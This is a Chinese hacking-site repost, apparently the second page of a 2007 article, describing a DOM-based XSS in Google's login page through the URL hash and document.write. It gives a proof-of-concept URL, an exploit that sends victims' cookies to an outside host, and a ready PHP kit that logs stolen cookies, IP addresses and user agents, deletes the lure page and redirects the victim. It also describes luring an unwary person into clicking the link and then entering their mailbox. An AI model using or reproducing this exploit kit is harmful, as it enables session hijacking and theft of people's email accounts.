黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]一次简单的html injection导致的Gmail 0day
      ★★★★★

一次简单的html injection导致的Gmail 0day

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-11-6 12:07:07


二 我们的食物在哪里?

以上这些是我们的Gmail 0day的理论基础,而我们现在需要的只是一个满足1或者2的xss点了。
在一次无意地查看源文件中发现这个xss,这个injection漏洞出现在google的登陆页面里,非常恰当地满足了我们的条件1,如果拿到cookie理论上可以进任何google的服务哦,真够幸运,呵呵。打开mail登陆页面可以得到下面的地址:

https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2

这个地址的参数很多,而且很多会出现在页面里,但是google对安全还是很重视的,进来的参数要么是程序作了过滤,要么直接告诉你非法请求,但是我上次提到的html injection却完全是不受服务器方面影响的,因为问题会出现在客户端,服务器方面不会有察觉。那么html injection在哪里呢?察看页面源文件可以看到如下这个函数的定义:

以下是引用片段:
<script>
function utmx_section(){}
(function(){var k='3068818340',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return c.substring(i+n.
length+1,j<0?c.length:j)}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash,
t=h.length>1||!xx||!xx.indexOf(k+':bypasscache');d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+(t?'&utmxtime='
+new Date().valueOf():'')+(h?'&utmxhash='+h.substr(1):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<script>utmx_section("title")</script>

这段代码貌似是google用来统计的代码,他作什么用的我们就不讨论了,我们看看这段代码,首先定义了一个函数,然后接着就调用了这个函数,而这个函数里恰恰用了一个:

l=d.location

仅仅这一句就代表了用户的输入,然后接着看这个l:

h=l.hash

hash是一个url里#之后的部分,提交时是对服务器是不可见的。然后呢?接着居然是d.write操作,d是开始定义的document对象,这里重写了页面,并且参数里面有hash的内容,没有经过过滤地哦,很典型的一个html injection漏洞。接下来就是关于利用了。
这里的利用也很简单,url里#后面的内容代表了这里的hash,保证好语法的正确就可以xss了。我这里提供简单的poc:

https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></script><script>alert('xss')</script>&1-=1

可以看到弹出了xss,可以证明我们可以运行代码了。

三 Exploit

上面可以执行代码,但是这里利用还是有点问题,传统的url xss都是嵌入到iframe里执行的,但是我们这里是https的页面,在测试时发现在ie里嵌入的iframe是取不到cookie信息的(貌似后来知道http的也是不行的),firefox倒是正常,于是想能不能直接对mail作一些操作呢?但是测试的时候发现即使是同一个域名下面https也是不能操作http页面的,而且在https里面带http内容的时候会出现提示,这就为利用带来了难度,但是既然拿到了cookie就拿到了一切的话,那么只要能得到cookie就可以了,用不受域名影响的window.location跳转吧!Exploit如下:

以下是引用片段:
<script>
foourl='';
window.location='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt>eval(unescape("url%3Ddocument.location.href%3Bcookie%3D.%3Bc%3D%27http%3A//www.loveshell.net/1.php%3Fc%3D%27+cookie+%27%26u%3D%27+url%3Bdocument.location.hash%3D%27%27%3Bdocument.location%3Dc%3B"))</scr'+'ipt>';
</script>

中间执行的代码的内容是,将当前cookie作为参数跳转到www.loveshell.net,然后我们在那个1.php里保存需要的cookie以及其他信息,然后再作第二次跳转到其他网站,做好隐蔽工作之后我们就可以利用得到的cookie进入别人的邮箱了。整个的利用过程应该看起来是这个样子:
我们精心构造好一个地址,譬如 http://www.loveshell.net/contact.html ,里面包含有我们的exp,然后我们将这个地址骗取别人的点击,这之间可能你需要编造一个诱惑人的故事和寻找一个对安全不太敏感的人,在别人打开这个地址之后我们将这个伪造的地址和可疑的东西销毁,然后就可以利用得到的cookie进入他的邮箱了。
这种xss还是比较难防御的,整个过程在客户端进行,只有从本质上提高代码的安全性才能避免这样的问题,google的安全认证方式也应该受到质疑。到现在google还没有修补该漏洞哦,Just for fun :)

几个Exploit文件如下:

以下是引用片段:
<?php
//配置文件,不要改名
//骗别人访问contact.php就可以了
//contact.php可以改名,image.php和config.php不可以
$sitepath='http://127.0.0.1/test/gmail/&#39;;//你的image.php,config.php,contact.php放到一个目录里,这个目录的位置,记得加/
$gourl='http://www.163.com/&#39;;//偷取cookie后跳转位置
?>
<?
//漏洞利用文件
include 'config.php';
?>
<script>
foourl='';
window.status='';
window.location='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt>eval(unescape("url%3Ddocument.location.href%3Bcookie%3Ddocument.cookie%3Bc%3D%27<?php echo $sitepath?>image.php%3Fc%3D%27+cookie+%27%26u%3D%27+url%3Bdocument.location.hash%3D%27%27%3Bdocument.location%3Dc%3B"))</scr'+'ipt>';
</script>

<?
//取cookie文件
include 'config.php';
?>
<?php
if($_GET[c])
{
$file=fopen("fuckgoogle.php","a+");
fputs($file,"<?php die();?>"."|||Cookie:$_GET[c]|||user-agent:$_SERVER[HTTP_USER_AGENT]|||REMOTE_ADDR:$_SERVER[REMOTE_ADDR]|||REFERER:$_SERVER[HTTP_REFERER]|||url:$_GET[u]\r\n");
fclose($file);
}
else {
$file=fopen("fuckgoogle.txt","a+");
fputs($file,"<?php die();?>"."|||Cookie:$_GET[c]|||user-agent:$_SERVER[HTTP_USER_AGENT]|||REMOTE_ADDR:$_SERVER[REMOTE_ADDR]|||REFERER:$_SERVER[HTTP_REFERER]|||url:$_GET[u]\r\n");
fclose($file);
}
@unlink('contact.php');
?>
<script>
document.location='<?php echo $gourl?>';
</script>

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886